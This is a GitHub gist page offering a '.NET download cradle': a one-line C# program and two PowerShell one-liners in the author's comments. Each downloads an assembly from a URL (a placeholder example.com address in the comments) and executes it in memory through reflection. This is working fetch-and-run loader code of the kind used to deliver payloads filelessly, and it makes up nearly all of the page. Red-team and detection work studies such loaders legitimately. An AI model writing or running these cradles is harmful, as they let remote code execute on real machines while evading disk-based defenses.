Skip to content

Instantly share code, notes, and snippets.

@cobbr
Created June 20, 2018 22:37
Show Gist options
  • Save cobbr/1d4eb62c17e02c29977d952b3106cb4c to your computer and use it in GitHub Desktop.
Save cobbr/1d4eb62c17e02c29977d952b3106cb4c to your computer and use it in GitHub Desktop.
A download cradle for .NET assemblies.
public class Program { public static void Main(string[] args) { System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, null); } }
@cobbr
Copy link
Author

cobbr commented Aug 17, 2018

PS> [System.Reflection.Assembly]::Load((new-object net.webclient).DownloadData("https://example.com/path/to/assembly.dll")).GetType('TypeName').GetMethod('MethodName').Invoke(0, null)

@cobbr
Copy link
Author

cobbr commented Jun 14, 2019

PS> [System.Reflection.Assembly]::Load((new-object net.webclient).DownloadData("https://example.com/path/to/assembly.exe")).EntryPoint.Invoke(0, null)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment